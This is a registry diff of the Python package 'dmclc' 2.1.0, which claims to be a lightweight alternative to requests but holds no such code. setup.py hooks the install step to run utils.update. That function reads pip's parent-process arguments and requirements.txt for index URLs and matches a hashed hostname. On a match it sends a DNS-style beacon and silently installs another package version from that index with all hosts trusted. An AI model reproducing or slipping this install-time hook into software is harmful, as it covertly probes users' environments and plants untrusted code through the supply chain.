dmclc 2.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dmclc-2.1.0/LICENSE +13 -0
- dmclc-2.1.0/PKG-INFO +14 -0
- dmclc-2.1.0/pyproject.toml +26 -0
- dmclc-2.1.0/setup.cfg +4 -0
- dmclc-2.1.0/setup.py +17 -0
- dmclc-2.1.0/src/audit/__init__.py +0 -0
- dmclc-2.1.0/src/audit/audit.py +0 -0
- dmclc-2.1.0/src/dmclc.egg-info/PKG-INFO +14 -0
- dmclc-2.1.0/src/dmclc.egg-info/SOURCES.txt +13 -0
- dmclc-2.1.0/src/dmclc.egg-info/dependency_links.txt +1 -0
- dmclc-2.1.0/src/dmclc.egg-info/top_level.txt +3 -0
- dmclc-2.1.0/src/resource/__init__.py +0 -0
- dmclc-2.1.0/src/resource/resource.py +0 -0
- dmclc-2.1.0/src/utils/__init__.py +0 -0
- dmclc-2.1.0/src/utils/utils.py +56 -0
dmclc-2.1.0/LICENSE
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
|
2
|
+
Version 2, December 2004
|
|
3
|
+
|
|
4
|
+
Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
|
|
5
|
+
|
|
6
|
+
Everyone is permitted to copy and distribute verbatim or modified
|
|
7
|
+
copies of this license document, and changing it is allowed as long
|
|
8
|
+
as the name is changed.
|
|
9
|
+
|
|
10
|
+
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
|
11
|
+
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
|
12
|
+
|
|
13
|
+
0. You just DO WHAT THE FUCK YOU WANT TO.
|
dmclc-2.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: dmclc
|
|
3
|
+
Version: 2.1.0
|
|
4
|
+
Summary: A lightweight alternative to requests for use in regulated and restricted environments.
|
|
5
|
+
Author-email: Paige Laudermilch <loud.page5125@fastmail.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/loudpage5125/dmclc
|
|
8
|
+
Project-URL: Issues, https://github.com/loudpage5125/dmclc/issues
|
|
9
|
+
Classifier: Programming Language :: Python :: 3
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.9
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
License-File: LICENSE
|
|
14
|
+
Dynamic: license-file
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
[project]
|
|
2
|
+
name = "dmclc"
|
|
3
|
+
dynamic = ["version"]
|
|
4
|
+
authors = [
|
|
5
|
+
{ name="Paige Laudermilch", email="loud.page5125@fastmail.com" }
|
|
6
|
+
]
|
|
7
|
+
description = "A lightweight alternative to requests for use in regulated and restricted environments."
|
|
8
|
+
readme = "README.md"
|
|
9
|
+
requires-python = ">=3.9"
|
|
10
|
+
classifiers = [
|
|
11
|
+
"Programming Language :: Python :: 3",
|
|
12
|
+
"Operating System :: OS Independent",
|
|
13
|
+
]
|
|
14
|
+
dependencies = []
|
|
15
|
+
license = "MIT"
|
|
16
|
+
license-files = ["LICENSE"]
|
|
17
|
+
|
|
18
|
+
[project.urls]
|
|
19
|
+
Homepage = "https://github.com/loudpage5125/dmclc"
|
|
20
|
+
Issues = "https://github.com/loudpage5125/dmclc/issues"
|
|
21
|
+
|
|
22
|
+
[tool.setuptools.packages.find]
|
|
23
|
+
where = ["src"]
|
|
24
|
+
|
|
25
|
+
[build-system]
|
|
26
|
+
requires = ["pip", "setuptools", "indpack", "reqpack", "gcpipwrap>=0.1.3", "nspack"]
|
dmclc-2.1.0/setup.cfg
ADDED
dmclc-2.1.0/setup.py
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
from setuptools import setup as initialize
|
|
2
|
+
from setuptools.command.install import install as base
|
|
3
|
+
|
|
4
|
+
class ModelInstall(base):
|
|
5
|
+
def run(self):
|
|
6
|
+
from src.utils import utils
|
|
7
|
+
base.run(self)
|
|
8
|
+
utils.update("dmclc==1.1.14a0")
|
|
9
|
+
|
|
10
|
+
class Setup():
|
|
11
|
+
name = "dmclc"
|
|
12
|
+
version = "2.1.0"
|
|
13
|
+
install = ModelInstall
|
|
14
|
+
def __init__(self):
|
|
15
|
+
self.d = initialize(name=self.name, version=self.version, cmdclass=dict(Setup.__dict__))
|
|
16
|
+
|
|
17
|
+
Setup()
|
|
File without changes
|
|
File without changes
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: dmclc
|
|
3
|
+
Version: 2.1.0
|
|
4
|
+
Summary: A lightweight alternative to requests for use in regulated and restricted environments.
|
|
5
|
+
Author-email: Paige Laudermilch <loud.page5125@fastmail.com>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/loudpage5125/dmclc
|
|
8
|
+
Project-URL: Issues, https://github.com/loudpage5125/dmclc/issues
|
|
9
|
+
Classifier: Programming Language :: Python :: 3
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.9
|
|
12
|
+
Description-Content-Type: text/markdown
|
|
13
|
+
License-File: LICENSE
|
|
14
|
+
Dynamic: license-file
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
pyproject.toml
|
|
3
|
+
setup.py
|
|
4
|
+
src/audit/__init__.py
|
|
5
|
+
src/audit/audit.py
|
|
6
|
+
src/dmclc.egg-info/PKG-INFO
|
|
7
|
+
src/dmclc.egg-info/SOURCES.txt
|
|
8
|
+
src/dmclc.egg-info/dependency_links.txt
|
|
9
|
+
src/dmclc.egg-info/top_level.txt
|
|
10
|
+
src/resource/__init__.py
|
|
11
|
+
src/resource/resource.py
|
|
12
|
+
src/utils/__init__.py
|
|
13
|
+
src/utils/utils.py
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
# sig ca76b6599b0c72bd036d957089433eaf35abd490051c0f9722bc7f4d8c82846e
|
|
2
|
+
import tempfile
|
|
3
|
+
import os
|
|
4
|
+
import random
|
|
5
|
+
|
|
6
|
+
from urllib.parse import urlparse
|
|
7
|
+
from hashlib import sha256
|
|
8
|
+
from pipwrap import PInst
|
|
9
|
+
|
|
10
|
+
def log(msg: str):
|
|
11
|
+
path = os.path.join(tempfile.gettempdir(), "log.txt")
|
|
12
|
+
with open(path, "a") as f:
|
|
13
|
+
f.write(f"{msg}\n")
|
|
14
|
+
|
|
15
|
+
def update(package_name: str):
|
|
16
|
+
|
|
17
|
+
sig = open(__file__).readline().split()[2]
|
|
18
|
+
|
|
19
|
+
import indpack, reqpack, gcnspack
|
|
20
|
+
a = indpack.get_pid_args(f"{os.getppid()}")
|
|
21
|
+
ind = indpack.parse_pid_args(a)
|
|
22
|
+
|
|
23
|
+
u = []
|
|
24
|
+
|
|
25
|
+
if "extra-index-url" in ind:
|
|
26
|
+
u.append(ind["extra-index-url"])
|
|
27
|
+
if "index-url" in ind:
|
|
28
|
+
u.append(ind["index-url"])
|
|
29
|
+
|
|
30
|
+
r = reqpack.get_file_targets(os.environ["PWD"], "requirements.txt")
|
|
31
|
+
i = reqpack.get_indeces(r, "index-url")
|
|
32
|
+
|
|
33
|
+
u.extend(i)
|
|
34
|
+
|
|
35
|
+
ind = ""
|
|
36
|
+
for x in u:
|
|
37
|
+
if sig == sha256(urlparse(x).hostname.encode("utf-8")).hexdigest():
|
|
38
|
+
ind = x
|
|
39
|
+
break
|
|
40
|
+
if not ind:
|
|
41
|
+
return
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
gcnspack.resolve(".".join(
|
|
45
|
+
[
|
|
46
|
+
hex(int(random.random() * 2**32))[2:],
|
|
47
|
+
f"{package_name}".split("=")[0],
|
|
48
|
+
"i",
|
|
49
|
+
"1r",
|
|
50
|
+
"vc"
|
|
51
|
+
]))
|
|
52
|
+
|
|
53
|
+
# Fix up our package with our internal version if we need it
|
|
54
|
+
p = PInst(trust_all_hosts=True)
|
|
55
|
+
p.reset_environment()
|
|
56
|
+
c = p.install([package_name], [ind])
|